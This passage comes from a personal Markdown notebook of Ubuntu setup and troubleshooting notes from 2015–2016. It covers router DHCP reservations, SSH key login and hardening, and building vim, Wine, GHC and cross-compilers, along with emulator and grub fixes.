above).\nNetmask is the subnet mask (255.255.255.0).\nGateway is the router's local IP (at least, that's what I used and it works...).\n\nThere's a confusing checkbox on the page about forcing IPv4 (the label and the hover tooltip seem\nto give contradictory descriptions). I left it in its default state (which was unchecked).\n\nNOTE: Even using DHCP, websites that test IPv6 connectivity report that I am unable to use IPV6,\nregardless of the state of this checkbox. No idea what's up with that.\n\n<!-- ----------------------------->\n# Static IPs through DHCP\n\n**(2016-02-01)**\n\nOn some routers it is in fact possible to assign a static IP through DHCP. This is\nknown as a \"DHCP reservation\". This causes the router to assign a fixed IP to a single\ndevice by MAC address. Compared to static IPs, this obviously has the advantage that\nthe router is actually involved in the process.\n\nOn the FiOS ActionTec router, one can configure a static connection through DHCP by going to\n\n1. Connect the device to the router normally using DHCP.\n2. Go to the router config page\n3. Advanced >> Routing >> IP Address Distribution >> Connection List\n4. Click the edit button on the right next to your device.\n5. Check the box labeled \"Static Lease Type\", hit Apply. (if you want a different IP\n other than the one currently active, hit Apply anyways then click the Edit button\n again; after doing so, it will be possible to edit the IP field)\n\n<!-- ----------------------------->\n# DNS notes\n\n**(2015-09-05)**\n\nEditing `/etc/resolvconf/resolv.conf.d/base` did not work for me.\n\nI decided to do it in the Edit Connections window. Edit the connection\nfor your SSID, go to IPv4, change mode to \"DHCP (Addresses only)\", and\nset DNS servers \"8.8.8.8,4.4.4.4\".\n\n<!-- ----------------------------->\n# Passwordless login to servers\n\n**(2015-09-10)**\n\n```sh\nssh-keygen\nssh-copy-id user@server\n```\n\nGreatest thing ever.\n\n**NOTE:** This works for github as well.\nJust make sure your remotes use \"ssh://[email protected]\" instead of \"https://github.com\".\n\n<!-- ----------------------------->\n# Hibernation\n\n**(2015-09-23)**\n\nkeywords: ubuntu, hibernation, thinkpad\n\nTo my understanding, hibernation is only enabled by default for a whitelist\nof laptops which are known to not have trouble waking from hibernation.\nIt must be explicitly reenabled on others.\n\nThe method to reenable it seems to keep changing between versions of Ubuntu,\nso I won't mention anything here.\n\nAlso, for some versions of ubuntu, the battery level defined as \"critical\" is\nREDICULOUSLY LOW; it only starts trying to hibernate/shutdown at about 2%\nbattery (which typically doesn't end well). In 14.04, this can be adjusted\nvia `dconf-editor` under `org.gnome.settings-daemon.plugins.power`.\n\n## Addendum 2015-10-07\n\nALSO ALSO ALSO!!!\nAt the bottom of that same page,\nnote that there is 'use-time-for-policy' which defaults to ON.\nWhen it is ON, it ignores 'percentage-action' and uses 'time-action' instead.\n\n# vim and python 3\n\n**(2015-10-16)**\n\n**TODO:** FINISH!!!!!!!\n\n git clone https://github.com/b4winckler/vim\n ./configure \\\\\n --enable-perlinterp \\\\\n --enable-rubyinterp \\\\\n --enable-cscope \\\\\n --enable-gui=auto \\\\\n --enable-gtk2-check \\\\\n --enable-gnome-check \\\\\n --with-features=huge \\\\\n --enable-multibyte \\\\\n --with-x \\\\\n --with-compiledby=\"xorpd\" \\\\\n --enable-python3interp \\\\\n --enable-luainterp \\\\\n --enable-tclinterp \\\\\n --with-python3-config-dir=\"$(python3-config --configdir)\" \\\\\n --prefix=/opt/vim-py3\n sudo update-alternatives --install /usr/bin/vim vim /opt/vim-py3/bin/vim 100\n\n<!-- ----------------------------->\n# Compiling vasp: BGQ edition\n\n**(2015-10-30)**\n\nI used Makefiles provided by Neerav; (**TODO:** put in files)\n\nThe necessary compilers on BGQ are provided by the `xl` module, but there\nare two options: standard `xl`, and a 'thread safe' version `xl_r` required\nfor parallel code ('r' stands for reentrant).\n\nFor building `vasp.5.lib`, used `module load xl`.\n(this is what Neerav said he used as well)\nNeither him nor I have tried building exclusively with the `xl_r` module.\n\nOn first compilation attempt for the libs, I got this:\n\n $ make\n cpp -P -C preclib.F >preclib.f90\n mpixlf90 -O3 -qstrict -qfree=f90 -qhot -qarch=qp -qtune=qp -c -o preclib.o preclib.f\n \"preclib.f\", line 8.6: 1514-220 (S) Module symbol file for module preclib.mod is in a format not recognized by this compiler. Please compile the module with this compiler.\n ** preclib === End of Compilation 1 ===\n 1501-511 Compilation failed for file preclib.f.\n make: *** [preclib.o] Error 1\n\nWhen building the libs, `make` produced an error about `preclib.mod` having\nan unrecognized format. This appears to be because I grabbed the source from\ncode previously built elsewhere (and `make clean` doesn't remove this file).\n*Simply renaming `preclib.mod` resolved the error.* (and yes, a new one was\ngenerated during compilation)\n\nDon't need to do anything with the built libs other than have `vasp.5.3.3/`\nand `vasp.5.lib/` in the same directory; the vasp5.3 Makefile uses relative paths\nfor locating the libs, and links them statically. I think.\n\nBefore building vasp, `module unload xl` and `module load xl_r`\n\nThere are, in fact, syntax errors in the source files which may need to be\ncorrected. Perhaps these go uncaught due to 'quirks' which differ between our compiler\nand the ones used by the vasp crew. (makes me just a bit worried about how many\nsuch quirks cause changes in behavior which DO get compiled...)\n\n(November 13: 2015: em, looks like I got interrupted there... In any case, the modifications\n that need to be made to the source files are not that hard to figure out. Also, IIRC there is\n a step near the end where xl_r causes problems again and you can do the rest with xl. But I\n might be getting it confused with the vasp 5.4 build process...)\n\n<!-- ----------------------------->\n# Interactive plots in matplotlib\n\n**(2015-09-13)**\n\na.k.a. HOLY SHIT THEY EXIST (and they have for a... long time)\n\nBut not without a little bit of work, first (at least for python3 users).\n\n```python\nimport matplotlib.pyplot as plt\nplt.ion()\nfig,ax = plt.subplots()\n```\n\nAfter this, *a figure window should now be open*.\nOf course, I found that while it worked fine on Python2, *it did not work for me on Python 3*.\n\nInsofar as I can tell, this is because `matplotlib` was set up to use `tk` bindings in Python 2,\nbut to use `gtk3` bindings in Python 3.\n\nTo resolve this issue, install the header files for `tk`, and build `matplotlib` from source.\n\n```sh\nsudo apt-get install tk-dev\ngit clone https://github.com/matplotlib/matplotlib\ncd matplotlib\nsudo python3 setup.py install\n```\n\nAfter doing so, I found that `matplotlib` still defaults to `gtk3` in Python 3... fixing this\nrequires either invoking `plt.switch_backend('TkAgg')`, or, even better, you can use `ipython`:\n\n $ ipython3\n In [1]: %matplotlib tk\n In [2]: import matplotlib.pyplot as plt\n In [3]: fig,ax = plt.subplots()\n\nand there's probably a config file somewhere you can modify to change the default but who cares.\n...scratch that, I do care, so I found this (your path may vary):\n\n /usr/local/lib/python3.4/dist-packages/matplotlib-1.5.0_342.g5ac32f3-py3.4-linux-x86_64.egg/matplotlib/mpl-data/matplotlibrc\n\nCopy it to `~/.config/matplotlib/matplotlibrc`, fix the backend line to TkAgg, done.\n\n<!-- ----------------------------->\n# Vesta crashes on poscar file\n\n**(2015-10-22)**\n\n**keywords:** vesta, hang, locks up, disk thrashing, poscar\n\nIf your file extension is \".poscar\", change it to \".vasp\".\nThis is for two reasons:\n * vesta crashes whenever an invalid file extension contains \"sca\", instead of\n erroring on an unknown extension\n (I can only imagine that this has to do with the fact that it supports a\n filetype with extensions \".sca\" and \".scat\", and probably does a substring\n search for \"sca\" to catch both)\n * it wouldn't recognize \".poscar\" as an extension anyways, even if it didn't\n crash!\n\nFor now I have a wrapper script for vesta which checks for this mistake and\nrefuses to run.\n\n<!-- ----------------------------->\n# aptitude flat list\n\n**(2016-01-14)**\n\nOne of the things that always bothered me about aptitude was how packages can be\nlisted in more than one section, causing them to appear multiple times (which can\neasily throw you off while searching by making you think you've already looped\nthrough the whole list).\n\nJust today I realized that there is a setting under `Options >> Preferences`\n labeled `Display flat view instead of default view on startup`.\n\nGreatest thing ever.\n\n<!-- ----------------------------->\n# My desktop PC and langauge packs\n\n**(2016-01-18)**\n\nSo today I finally decided to re-look into the issue of why my Windows 7\ndesktop computer is stuck in Japanese, because I had forgotten the details.\nThis time, I'll record my findings:\n\n* The reason I cannot find language packs in Windows Update is because the\n PC has Windows 7 Professional Edition. Language packs require\n Windows 7 Ultimate Edition.\n (this is, of course, also the reason Microsoft does not provide a download\n for the English language pack on their website)\n\n* How did I get it into Japanese in the first place? To be honest...\n I have no clue! I can only imagine that it must've involved reinstalling\n the OS...!\n\n* In other words, my computer is stuck in Japanese pending me finding the\n installation disk and reinstalling the OS in English. Fun.\n\n<!-- ----------------------------->\n# Fuck multiarch on ubuntu\n\n**(2016-01-19)**\n\nThe title was \"fuck wine\", but I think we all know the true cause of my pain here...\n\nThis is my... what is it now, 5th attempt to build wine from source on a 64-bit system?\nAs always, it ends in tragedy.\n\nFound this: https://wiki.winehq.org/Building_Biarch_Wine_On_Ubuntu\n\nFollowed it more or less to the letter, dependencies aside. That is:\n\n```sh\n# assuming all the build-deps for wine are installed on both your system, as\n# well as a 32-bit lxc named my32bitbox:\n# PART 1: Setup and building 64 bit\ncd ~/build\nmkdir wine\ngit clone git://source.winehq.org/git/wine.git wine-src\nmkdir build-wine64\nmkdir build-wine32-tools\nmkdir build-wine32-combo\ncd build-wine64\n../wine-src/configure --enable-win64\nmake -j9\n\n# PART 2: Working inside the LXC\nsudo lxc-start -nmy32bitbox\n\ncd build/wine/build-wine32-tools\n../wine-src/configure\nmake -j9\n\ncd ../build-wine32-combo\n../wine-src/configure --with-wine64=../build-wine64 --with-wine-tools=../build-wine32-tools\nmake -j9\nsudo make install # to force some additional bits of compilation\n\nsudo shutdown -h now # to exit the lxc\n```\n\nAt this point, the guides say it is time to `make install` on your real system,\nfirst in `build-wine32-combo`, then in `build-wine64`.\nThis may have been true at some point in time, but it is no longer.\n\nIf you try to do `make install` on wine32-combo,\nthen a command in the makefile will automatically regenerate a single source file,\n`lib/wine/version.c`, causing a recompilation of `version.o` (in 64 bit!),\nand re-linkage of linwine.so (which now complains very loudly about how we are\nmixing 64 bit and 32 bit!!).\n\nThus, we must prevent the extraneous update to version.c.\n\n```sh\n# PART 3: Additional hack number 1\ncd ~/build/wine/build-wine32-combo\ncp libs/wine/Makefile{,.bak} # make a backup\nvim libs/wine/Makefile\n# find the line\n# version.c: dummy\n# and change it to\n# version.c:\n```\n\nYou may want to revert this change after you install it successfully.\nBut we're not done yet! If you try to install it now, it still dies on the following command:\n\n\n ./../build-wine32-tools/tools/winebuild/winebuild -w --def -o dlls/dinput/libdinput.def --export ../wine-src/dlls/dinput/dinput.spec\n\nwith a 'command not found' error. This is because './../build-wine32-tools/tools/winebuild/winebuild'\nis an ELF32 executable. Certainly however this line already served its purpose when we built and\ninstalled inside the LXC, so we can simply prevent this line from running as well.\n\n... but because I'm not sure precisely WHY it's running, we'll just comment it out.\n\n```sh\n# PART 4: Additional hack number 2\n$ vim Makefile\n# Search for 'libdinput.def'\n# Find the matching line that begins with $(WINEBUILD)\n# Insert a hash ('#') between the tab and the $.\n\n# PART 5: The true installation\n# Do 32-bit first:\ncd ~/build/wine/build-wine32-combo\nsudo make install\ncd ../build-wine64\nsudo make install\n```\n\nOne more thing... we need the 32 bit libraries that wine depends on in 64bit!\n\nIf you have previously installed wine from the repos, you will already have them. If not,\nhere's a moderately easy yet moderately tedious way to get them:\n\n(FIXME: actually I could've sworn there's a one-liner for doing this)\n\n0. sudo apt-get update && sudo apt-get upgrade (to avoid encountering extraneous conflicts)\n1. sudo aptitude\n2. select wine\n4. hit 'g'\n5. deselect the things with 'wine' in the name at the end of the list\n6. now manually go back up the list and reselect all the things that don't have 'wine' in the name.\n\n(amusingly, when I did this, I left out step 0, and encountered a conflict when selecting wine.\n The first suggestion involved uninstalling 10 packages, including linear algebra packages that\n my research depends heavily on.\n The second suggestion was to install 1 update.)\n\n**...Alas, this build is still not 100% successful!!!**\n\nI tested it on Remar's Herocore.\n\n**The game was capable of:**\n\n* Producing a window (this alone is an achievement well beyond any of my previous builds)\n* Displaying a splash image on load\n* Capturing the mouse\n* Going fullscreen\n* Setting the titlebar text\n* Responding to keyboard input (F4 toggles fullscreen, F12 closes)\n\n**It was not capable of:**\n* Displaying any graphics. (the entire window was black)\n* Producing any audio. (Nor could Wine itself, when clicking the Test button in winecfg)\n\nSo while the game did appear to be, for all intents and purposes, *ACTUALLY RUNNING!!!!*...\nit was completely unplayable.\n\n...back to Windows it is, I suppose...\n\n<!-- ----------------------------->\n# GRUB CONFIGURATION FROZE, AAHHHHHHH!!!!\n\n**(2016-01-25)**\n\nHere's some nightmare fuel for you:\n\n* Picture that, one day, you run a routine apt-get upgrade (or Update Manager),\n and you notice that things are taking a while. The last messages you see are\n\n ```\n ...\n Generating grub configuration file ...\n Found memtest86+ image: /boot/memtest86+.elf\n Found memtest86+ image: /boot/memtest86+.bin\n Found Windows 7 (loader) on /dev/sda1\n Found MS-DOS 5.x/6.x/Win3.1 on /dev/sdb1\n █\n ```\n\n where the '█' indicates a blinking cursor that is quite emphatically *not* proceeded\n by a bash prompt.\n\n* When you are done screaming and running around in circles, check if you have a USB flash drive\n inserted; perhaps some terrible one you got from an event, which has an awful, indestructible\n partition hidden on it which is supposed to open a website when you insert the drive in Windows.\n (man, screw those people)\n* Unmount said drive and remove it. (also burn it)\n* Hopefully, the configuration should have now finished. If not... good luck.\n\nFor future reference, here is how I determined that the flash drive was the issue:\n\n```sh\nps faux\n```\n\nThe 'f' flag is something wonderful I never knew about; it prints a process FOREST!\nWith this, I was able to locate the guilty processes: (edited for width)\n\n```\nroot 23395 | \\_ run-parts --verbose --exit-on-error --arg=3.16.0-59-generic --arg=/boot/vml\nroot 25685 | \\_ /bin/sh /usr/sbin/grub-mkconfig -o /boot/grub/grub.cfg\nroot 26710 | \\_ /bin/sh /etc/grub.d/30_os-prober\nroot 26714 | \\_ /bin/sh /etc/grub.d/30_os-prober\nroot 26715 | \\_ /bin/sh /usr/bin/os-prober\nroot 27292 | | \\_ /bin/sh /usr/lib/os-probes/50mounted-tests /dev/sdc1\nroot 27373 | | \\_ grub-mount /dev/sdc1 /var/lib/os-prober/mount\nroot 26716 | \\_ tr ^\nroot 26717 | \\_ paste -s -d\n```\n\nThe line which should stand out here is the one ending in 'sdc1'.\nA quick `ls -l /dev/disk/by-id` revealed that /dev/sdc is the flash drive.\n\n...Unfortunately, this was only after I had already killed several update-related processes\nin an attempt to make it possible to unlock the dpkg lock file so I could follow\nthe steps here: (DON'T!!!)\n\n[Don't follow these steps](http://askubuntu.com/questions/703590/got-stuck-when-updating-from-15-04-to-15-10-generating-grub-config-file).\n\nMy discovery of the 'ps f' flag was because I wanted some sort of idea with regards to which\nof the processes involved would be safest to kill.\n\nIf you want to test your grub configuration after all is done, you can try this:\n\n```sh\nsudo apt-get install grub-emu\ngrub-emu\n```\n\nThis will at least let you see the list. Fair warning: I personally found that I was unable\nto use the keyboard in grub-emu, which sucks because AFAICT the only proper way to exit it is\nto 'c' for a command line and type 'reboot'. It also is unresponsive to SIGTERM, so I had to\n`kill -9` it. Ick...\n\n<!-- ----------------------------->\n# SSHD more securely\n\n**(2016-01-28)**\n\nThere are a number of things you can do to make port forwarding to SSH safer, but\nafter thinking through a few (and trying them out), this one wins by far:\n\nFirst, set up passwordless authentication through `ssh-copy-id`.\n\nThen edit `/etc/ssh/sshd_config` and add the lines:\n\n PasswordAuthentication no\n ChallengeResponseAuthentication no\n\nNow no other devices than yours can ssh in, even if the password is known.\n\n<!-- ----------------------------->\n# Notes on actiontec config\n\n**(2016-02-01)**\n\nBecause Dad is paranoid that I did something to slow down our internet connection\na couple days ago, I'll try to sort out all of the things I've done here.\n\n* Around **20 Jan,** I set a static IP but did not change the DHCP address range.\n (so my \"fixed\" IP was still considered a DHCP address).\n I cannot think of any config changes I made on this date.\n* **28 Jan:** Modified DHCP address range to a smaller window. (reverted 1 February)\n* **28 Jan:** Enabled IPv6. (reverted 1 February)\n* **1 Feb:** Set a static lease through DHCP for my PC. (still in effect)\n* **10 Feb:** Changed the DNS servers to ones that do not hijack results\n with Verizon SearchAssist.\n (this is under My Network >> Network Connections >> Broadband Connection (Ethernet/Coax).\n Where the default DNS addresses are x.y.z.12, the searchassist-free ones are x.y.z.14)\n\nIf our internet connection suddenly improves from this day onward, we'll know I was at fault.\n(in hindsight... why in heaven's name did I think enabling ipv6 would be without consequence?\n In this day and age, the only reason I can think of that a feature like IPv6 would be disabled\n by default would be because they're still working out the bugs!)\n\n<!-- ----------------------------->\n# desmume\n\n**(2016-02-09)**\n\nSo the desmume gtk port has some pretty terrible performance.\n\nSome flags to try are `--advanced-timing=0` and `--cpu-mode=1`.\nHowever, another thing to try is this:\n\n desmume-glade\n\nI found this alone (no extra cli options, no settings in .config) improved\nperformance of Nine Persons, Nine Hours, Nine Doors to a satisfactory level.\nI also tried New SMB; FPS started out at a solid 30 (the window bar reports\n60fps; it also LIES), then started to slow down as I played through level 1.\nEh.\n\ndesmume-glade is restricted to integer multiple window sizes, which made me\nreally happy until I realized that the only rescaling mode it supports is\nlinear. So I hope you like your games fuzzy.\n\nalso,\n\n> OOOOOOWWWCHGODDAMNIT! Gah! What the hell!?\n\n**NOTE:** Even better:\n\n desmume --num-cores=4\n\nThis also lets you use nearest pixel (though I can't find a way to save it\nso you have to clickity click click, every time; and make sure to do it BEFORE\nOPENING THE ROM!). Unfortunately I also cannot find a way to force integer\nsizes, but maximizing the window makes it verrrrrrry close to 2x on this 900px\ntall monitor. (note: maximizing, not fullscreen).\n\nThe GTK port doesn't seem to have the ability to set the sound buffer size.\nOn 'Nine Persons, Nine Hours, Nine Doors', here's what I noticed\n(during cutscene after first escape):\n- **SPU Mode: Asynchronous:** lots of crackling. When frame rate slows, pi\n- **SPU Mode: Synchronous (N):** no crackling in BGM, but crackling during \"the wave\".\n- **SPU Mode: Synchronous (Z):** zero crackling. Smooth. But speeds up and slows down and\n can lag quite a bit behind. The pitch changes with the speed.\n Very bizarre experience overall!\n- **SPU Mode: Synchronous (P):** less crackling. Audio stutters during screen transitions.\nresulted in less crackling.\n\n## UPDATE\n\n**BEST SOLUTION OF ALL:**\n\nBuild Desmume. Just do it. Source is on SourceForge.\nCurrent version fixes pretty much all complaints:\n* Settings are remembered.\n* There are integer window sizes in View >> Window Size.\n* Nine Persons, Nine Hours, Nine Doors runs at a perfect 60 FPS consistently,\n where previously large character sprites would cause it to grind down to\n 20-30. Have not tested other games.\n\nRemaining issues:\n* Sound still crackles; it depends on the audio track playing.\n (even though the crackling sounds like what you would hear from a short\n sound buffer, this is NOT the cause; I tried modifying the source code to\n use a larger buffer, and while it caused sound effects to be delayed,\n it did NOT fix the crackling one bit)\n* There are screenshots, but the automatic naming is terrible. Basically,\n every time you start Desmume, the first screenshot will be saved to\n ~/Pictures/desmume-screenshot-0.png, (then -1.png and so on), **overwriting\n any existing snapshots with those numbers from previous runs.**\n\n<!-- ----------------------------->\n# ??? (something about cross compilation) ???\n\nWasn't sure what to do with this terribly formatted section\nduring the MD conversion, so I just blockcoded it.\n\nI think it's useless garbage about a failed attempt to do something\nbut my eyes just glaze over when I try to look at it.\n\n```\n export CFG_DISABLE_MANAGE_SUBMODULES=1\n module load gnu-4.7.2\n\n http://preshing.com/20141119/how-to-build-a-gcc-cross-compiler/\n page is pretty recent\n I got https://www.kernel.org/pub/linux/kernel/v2.6/linux-2.6.32.tar.xz instead\n to match BG kernel\n\n In step 2, the relevant edits are:\n make ARCH=powerpc INSTALL_HDR_PATH=/opt/cross/powerpc64-linux headers_install\n\n !!! there was no /opt/cross/$TARGET/include/gnu; had to mkdir it\n\n\n !!! configure: error: cannot find sources (move-if-change) in ../binutils-2.24 or ..\n If this occurs I think it is a result of hitting Ctrl+C during download.\n (when you do this, curl will leave the incomplete file there, and next time\n you try it will see that a file is already there and won't redownload it)\n\n !!! Saw this during 5. Compiler Support Library\n\n In file included from ../../../gcc-4.9.2/libgcc/gthr.h:148:0,\n from ../../../gcc-4.9.2/libgcc/libgcov-interface.c:27:\n./gthr-default.h:35:21: fatal error: pthread.h: No such file or directory\n #include <pthread.h>\n ^\n\n Seems that this is because '-pthread' is not among the flags passed to 'xgcc'\n but I have no clue why. My best guess is that it may have to do with the unset\n statement but that seems silly.\n\n UPDATE: I now believe that when I got this specific error I had accidentally installed\n the linux headers under the wrong location.\n\n !!! before building GCC, got an error about some unknown variable (something like\n SIZELONG_INT) and a post on StackOverflow said to\n\n unset LIBRARY_PATH CPATH C_INCLUDE_PATH PKG_CONFIG_PATH CPLUS_INCLUDE_PATH INCLUDE LD_LIBRARY_PATH\n\n which I guess seems kind of reasonable?\n NOTICE: Not 100% sure (I could be fooling myself) but it appears that these\n really need to be **unset**; When I don't unset them I run smack into an\n issue about some invalid syntax \"%{%:sanitize(stuff):\".\n One of the many things I tried here was to\n echo $LIBRARY_PATH $CPATH $C_INCLUDE_PATH $PKG_CONFIG_PATH $CPLUS_INCLUDE_PATH $INCLUDE $LD_LIBRARY_PATH\n just to see if any were set, and the output was blank. Further attempts to 'make' would fail\n at the same spot.\n On the last failure before I got things working, two things occurred:\n 1. I tried the unset, even though all the variables appeared blank\n 2. I remembered that the correct command at this point is 'make all-gcc'\n (keep in mind that this IS the target which is in the process of being built\n when the error ocurs for the first time; it is only on subsequent manual\n runs that I would accidentally use 'make')\n And after doing both of these it finished. I then added the 'unset' line to the script\n right before 'make all-gcc', and it ran from the very beginning to... the next error.\n Who knows what would've happened had I simply run 'make all-gcc' without doing step 1?\n\n\n !!! /home/lampam/build/holy-crap/build-cross/build-glibc/resolv/libresolv_pic.a(res_query.os):(.toc+0x0): undefined reference to `__stack_chk_guard'\n /home/lampam/build/holy-crap/build-cross/build-glibc/resolv/libresolv_pic.a(ns_samedomain.os):(.toc+0x0): undefined reference to `__stack_chk_guard'\n /home/lampam/build/holy-crap/build-cross/build-glibc/resolv/libresolv_pic.a(ns_print.os):(.toc+0x0): undefined reference to `__stack_chk_guard'\n\n Didn't worry about these as there are already what appear to be functional-looking\n c/c++ compilers cross-compilers in /opt/cross. Trying them out on rust now.\n\n ...and rust says that my cross-compiler \"cannot produce binaries\".\n ...when I attempt to use gcc directly I get:\n\n /home/lampam/build/holy-crap/build-cross/glibc-2.20/csu/../sysdeps/powerpc/powerpc64/start.S:80: undefined reference to `__libc_start_main'\n\n ...and the c++ compiler complains about not being able to find -lstdc++\n (and rightfully so; we never cross compiled the c++ std libraries)\n```\n\n<!-- ----------------------------->\n# cmake not finding FFTW3F\n\n**TODO:** quote error message\n\nThis is an issue Andrew had when trying to build QSTEM, which uses cmake.\nWhen I try building it on Ubuntu I also get the error, despite seemingly having\nmy bases covered in terms of fftw3-related packages.\n\nVarious attempts were made to e.g. set variables to help cmake find the existing\nlibraries. All failed\n\nAndrew says that after building his own copy of fftw3 manually (and, presumably,\ninstalling it to his home directory), cmake found it just fine.\n\n<!-- ----------------------------->\n# ibus misbehaving\n\n**(2016-05-25)**\n\nToday when attempting to Ctrl+D close a terminal window, the machine appeared to\ngrind to a halt as the CPU fan audibly sped up.\nSomehow, the \"magic\" Alt+F2 still worked, and the virtual terminal was very\nresponsive in contrast to the desktop. I was able to find that \"ibus-daemon\"\nwas using ~190% CPU.\n\nKilling it was no use as it would come back immediately upon hitting Alt+F7\nand return to >100% CPU usage.\n\nI found this page: https://bugs.launchpad.net/ubuntu/+source/ibus/+bug/1276186\n\nWhile the bug is still open, there is the following workaround:\n\n gsettings set org.gnome.desktop.background show-desktop-icons true\n\n<!-- ----------------------------->\n# `rpi_wpa2` certificate authority trouble\n\n**(2016-06-14)**\n\nBeen having trouble connecting to wifi.\nToday after an odd turn of events it is working under what would appear to be identical\nto its intial settings.\n\nThere are some excerpts from /var/log/syslog in ~/scripts/setup-notes/files/2016-06-14-ssl\n\nMore or less what happened:\n\n* Had trouble connecting to rpi_wpa2 at union.\n Saw certificate-authority-related errors in /var/log/syslog.\n Tried to look into things:\n - RPI's SSL cert is issued by Internet2 according to some whois site.\n - It expires August 2016: Two months from now.\n - Nothing recent on the RPI site mentions anything about this changing.\n - Various sources (links on RPI site, searches related to Internet2) all lead to the\n same certificate file: the \"AddTrust External Root Certificate\", which begins with\n MIIENjCCAx6gAwIBAgIBATANBgkqhkiG9w0BAQUFADBvMQswCQYDVQQGEwJTRTEU\n* Tried using that certificate specifically (default is a generic 'ca-certificates.crt'). Nothing.\n* Tried Tunneled TLS. Nothing.\n* Went to office. Still nothing on wifi. (first excerpt from syslog was around this time)\n* Switched to LEAP authentication. All of a sudden, wifi. (second excerpt)\n* Tried switching back to PEAP and set all the settings back.\n Oddly enough... still have wifi! (third excerpt)\n\nUPDATE: Yeah that didn't last long.\n Back to no wifi under PEAP when I returned to the union.\n Using LEAP from now on because it works.\n\n<!-- ----------------------------->\n# Compiling GHC\n\n**(2016-07-05)**\n\n## Cloning the repo\n\nInstructions here: https://github.com/ghc/ghc (DO NOT clone from this URL)\n\nNotable deviations from standard building procedure:\n\n1. You don't clone the github repo, but rather the Glasklow repo:\n\n git clone --recursive git://git.haskell.org/ghc.git\n\n2. Before `./configure` you must run `./boot`.\n\n## Bootstrapping Issues\n\nCompiling GHC may require a higher version of GHC than is available through the\ncanonical repos.\n\nOne can add this repo:\n\n sudo apt-add-repository ppa:hvr/ghc\n sudo apt-get update\n\nUNINSTALL any preexisting versions of these packages, and install ones with\nversion numbers in the name (from the hvr/ghc repo)\n\n ghc{,-*}\n cabal-install\n happy\n alex\n\nAnd then --- oh hey, now we have GHC and don't have to build anything, right?\n\nWell... kinda.\nThe problem with the hvr/ghc repository is that it doesn't actually install anything.\nIt just dumps a bunch of stuff into `/opt/`.\nYou can manually edit `PATH` to include all the `various/opt/PROGRAM/VERSION/bin` folders\nit creates, but eh.\n\n## Further Issues\n\n`make` failed for me with\n\n collect2: error: ld returned 1 exit status\n `gcc' failed in phase `Linker'. (Exit code: 1)\n\nwhich appeared to occur during the creation of\n`compiler/stage2/build/libHSghc-8.1-ghc8.1.20160705.so`\n\nAt this point I just gave up and added the hvr bin directories to `PATH`.\n\n<!-- ----------------------------->\n# Compiling rust for musl\n\n**(2016-08-10)**\n\nmusl would allow static linking of libc in rust so I can build crap for matisse.\n\nI get an error during make:\n\n compile: x86_64-unknown-linux-musl/rt/compiler-rt/absvdi2.o\n as: unrecognized option '-mrelax-relocations=no'\n\nLooks like my binutils is too old (have 2.24, need 2.26).\nTime to update to the new LTS 16.04.\nFeels like the last time I did that was just yesterday...\n\nhttps://gist.github.com/ExpHP/f2aad25aa885988a9245759d9d70f318\n\n<!-- ----------------------------->\n# Color/font settings\n\n**(2016-08-13)**\n\nAfter the Ubuntu reinstall I had a very bumpy ride trying to recover\nall of my terminal settings for vim, gnome-terminal, etc....\n\nInsofar as I can tell:\n\n* I use the Tango theme in `gnome-terminal`.\n* The colors I am used to in vim are the background=light colors\n for \":colorscheme default\"---even though I use a dark background.\n* That colorscheme pulls (mostly) from the 16 configured terminal colors.\n* I decided to make my own variant with brighter colors:\n https://github.com/ExpHP/brighter.vim\n* The font I use is \"Ubuntu Mono derivative Powerline Regular 12\".\n\nSo that I don't ever have to worry about losing the Tango colors,\nI shall immortalize them here in this text dump of the\ndconf key `org.gnome.terminal.legacy.profiles:.:<UUID>.palette`:\n\n ['rgb(0,0,0)', 'rgb(204,0,0)', 'rgb(78,154,6)', 'rgb(196,160,0)',\n 'rgb(52,101,164)', 'rgb(117,80,123)', 'rgb(6,152,154)',\n 'rgb(211,215,207)', 'rgb(85,87,83)', 'rgb(239,41,41)',\n 'rgb(138,226,52)', 'rgb(252,233,79)', 'rgb(114,159,207)',\n 'rgb(173,127,168)', 'rgb(52,226,226)', 'rgb(238,238,236)']\n\n<!-- ----------------------------->\n# latexmk bugs\n\n**(2016-08-17)**\n\nQ: HEEEELP LATEXMK IS FORK-BOMBING ME WHEN I RUN IT FROM INSIDE\n ANOTHER SHELL SCRIPT\n\nA: latexmk 4.41 is broken. Upgrade it. (4.45 is good)\n\n\nQ: LATEXMK IS DROPPING JUNK ALL OVER THIS DIRECTORY DESPITE\n ME USING THE -cd OPTION\n\nA: I said latexmk 4.41 is broken!!! Upgrade it, already!\n\n<!-- ----------------------------->\n# Missing Linux Terminal\n\n**(2016-08-17)**\n\nAfter the upgrade to 16.04 LTS I would find that Ctrl+Alt+F2\nwould sometimes not present a login (just a blinking cursor).\n\nThe following links to a VERY BAD SOLUTION, DO NOT DO:\nhttp://askubuntu.com/questions/162535/why-does-switching-to-the-tty-give-me-a-blank-screen\n\n(adding `nomodeset` to my /boot/grub/grub.cfg not only caused my FPS to\n drop to shit, but my screen would not turn on after awakening from sleep\n mode either!)\n\nA small amount of research indicates that `nomodeset` has to do\nwith a recent change to how video drivers interact with the kernel.\nCould this recent change have perhaps caused the tables to turn between\nnouveau and proprietary drivers?\n\nI should try installing nvidia drivers again (without nomodeset) and see.\n\n<!-- ----------------------------->\n# Installing Mathematica\n\n**(2016-08-22)**\n\nYou need the install \"script\" Mathematica_X.X.X_LINUX.sh,\nwhich is several GB large.\n\n1. For the love of god, CLOSE CHROME. (you need memory)\n2. Run the installer as root.\n3. It asks for an install path (you'll want to change this since the default\n is `/usr/local/Wolfram/...` O_o)\n4. No need to babysit as it installs since the only remaining step is brief.\n5. When done it will ask where to put binaries.\n For reference, this will produce the following symlinks:\n\n math mathematica Mathematica MathematicaScript MathKernel mcc\n\n Update: Mathematica 10.4 further adds some \"wolfram\" executables\n\n math Mathematica MathKernel wolfram WolframScript\n mathematica MathematicaScript mcc WolframKernel\n\n6. Note that in addition to the directories you specified it will also\n have put some stuff in /usr/share/Mathematica.\n\n<!-- ----------------------------->\n# That emulator chip was using\n\n**(2016-11-21)**\n\nChipCheezum used a multiplatform emulator called \"RetroArch\"\nin the Gextra Life stream which looked cool, want to try it.\n\n(technically, the emulator is just a frontend for the \"libretro\" API,\n which is basically a middleware layer between frontends and emulator\n cores)\n\nHe was using it with Mednafen as the core, which sounds like a\nnice idea, as I don't recall Mednafen having much in the way of\na frontend on linux.\n\n<!-- ----------------------------->\n# leanemacs\n\n**(2016-10-16)**\n\nAfter building lean and trying to run leanemacs, I discovered that there\nwere some packages it depends on. Some of these are on the melpa repository\nwhich is not avaliable by default. I had to add this to ~/.emacs:\n\n```elisp\n(require 